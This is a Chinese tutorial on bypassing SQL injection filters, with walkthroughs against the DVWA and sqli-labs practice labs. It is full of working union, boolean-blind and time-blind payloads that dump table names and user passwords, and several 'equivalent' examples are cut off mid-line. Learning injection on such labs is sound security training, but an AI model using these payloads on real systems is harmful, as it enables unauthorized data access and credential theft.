sql注入绕过技巧
sql注入是一个十分常见的漏洞,因此基本上网站都会带有sql注入的过滤来进行防御。以下是sql注入常见的绕过技巧。
编码绕过
利用编码技术绕过,当我们观察到我们注入的字符被过滤掉时会运用这种方法
- 使用ascii编码
例:
SELECT FROM Users where username = 'east' 不成功
SELECT FROM Users where username = CHAR(101,97,115,116)成功
- 使用url编码
例:
SELECT password FROM Users where username = admin 不成功
SELECT password FROM Users where username = 0x61646D696E 成功
重复技术绕过
一般union select,where,from等命令语句字符被过滤使用这种方法
例:
union select xxxxxx 不成功
unionunion selectselect xxxxx 成功
大小写混用绕过
例:
union select xxxx 不成功
UniOn SeLEct xxxx 成功
空格绕过
- 使用两个空格代替一个空格
- 使用注释代替空格
- 使用+代替空格
- 使用()代替空格
- ……etc
引号绕过
可以利用十六进制来处理
例:
1 | select column_name from information_schema.tables where table_name="users" #等价于 |
逗号绕过
但使用盲注的时候,会使用到substr(),mid(),limit等方法,这些方法里面的语句会使用到逗号。
- 对于substr()和mid()这两方法可以使用from to 的方式解决
1 | select substr(database() from 1 for 1); |
- join方法
1 | union select 1,2 #等价于 |
- like方法
1 | select ascii(mid(user(),1,1))=80 #等价于 |
- 对于limit可以使用offset方法
1 | select * from news limit 0,1 #等价于 |
比较符号绕过
盲注时,需要使用比较操作符进行查找,被过滤后,可以使用greatest()、least()
1 | select * from users where id=1 and ascii(substr(database(),0,1))>64 #等价于 |
sleep绕过
若不能使用sleep函数,可以使用等价函数方法
1 | benchmark(10000000,sha(1)) |
若sleep中不能使用数字
用pi()函数绕过:sleep(ceil(pi())) ceil()表示向上取整,pi()表示圆周率
常见等价函数
函数 | 可变换函数 |
---|---|
ascii() | hex() 或 bin() |
sleep() | benchmark() |
group_concat() | concat_ws() |
substring() | mid() 或 substr() |
user() | @@user |
datadir() | @@datadir |
dvwa注入 与 简单sql绕过
dvwa
不需要绕过,最基础的sql注入,与前天操作基本一样
- 判断注入点 字符型注入
- 猜解sql查询语句中的字段数 2个
- 确定回显顺序
- 获取当前数据库名称
因为以上几步比较简单而且不算特别重要,可参见《简单sql注入与密码爆破那篇文章》操作步骤一样
- 获取表名
图一
输入:
1 | 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # |
如图,该数据库中有两个表,一般数据在users中
- 获取表中字段名
图二
输入:
1 | 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # |
- 获取目标数据
图三
输入:
1 | 1' union select group_concat(user_id,first_name,last_name,user),group_concat(password) from users # |
sqli-labs-master less-25
图1
如图所示,提示说是过滤了or和and
可以使用如下方法绕过
- 大小写变形 Or,OR,oR
- 编码,hex,urlencode
- 添加注释/or/
- 利用符号 and=&& or=||
- 重复技术绕过,oror或者oorr
测试
图2
成功!可以正确绕过
两种盲注
很多时候,web服务器会关闭错误回显,这时可以使用盲注技巧
盲注按类型有两种,一种是布尔型盲注,另一种是时间型盲注
布尔型盲注
构造条件语句,根据返回页面发生变化,来判断sql语句是否得到执行。因为需要一个字符一个字符去确认,手注效率低下,一般会利用python脚本去跑
sqli-labs-master less-5
- 猜解当前数据库名称
图一
输入:
1 | 1' and ascii(mid(database(),1,1))=115 --+ |
使用mid()或者substr都可以,作用是拆分字符串
利用二分法,改变ascii()><=xxx的值,一个字符一个字符确定
- 猜解数据库的表名
图二
输入:
1 | 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ |
- 猜解表中的列名
图三
输入:
1 | 1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+ |
通过之前得步骤,可以得到表名为users
- 猜解列名对应的内容
图四
输入:
1 | 1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))=68--+ |
取列名为security.users的数据
时间型盲注
利用BENCHMARK()函数,可以让同一函数执行若干次,使结果返回的时间比平时更长;通过时间长短变化,可以判断出注入语句是否执行成功
sqli-labs-master less-9
- 猜解数据库名称
图一
输入:
1 | 1' and if(ascii(substring(database(),1,1)) =115,1,sleep(5))--+ |
与布尔类型的区别就在于,加了if()函数与sleep()函数,加入输入的信息错误,其返回的时间会变长,利用这个进行判断获得额外信息
- 猜解数据库的表名
图一
输入:
1 | 1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,1,sleep(5))--+ |
- 猜解表中的列名
图一
输入:
1 | 1' and if(ascii(substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+ |
- 猜解列名对应的内容
图一
输入:
1 | 1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,1,sleep(5))--+ |
参考资料
白帽子将web安全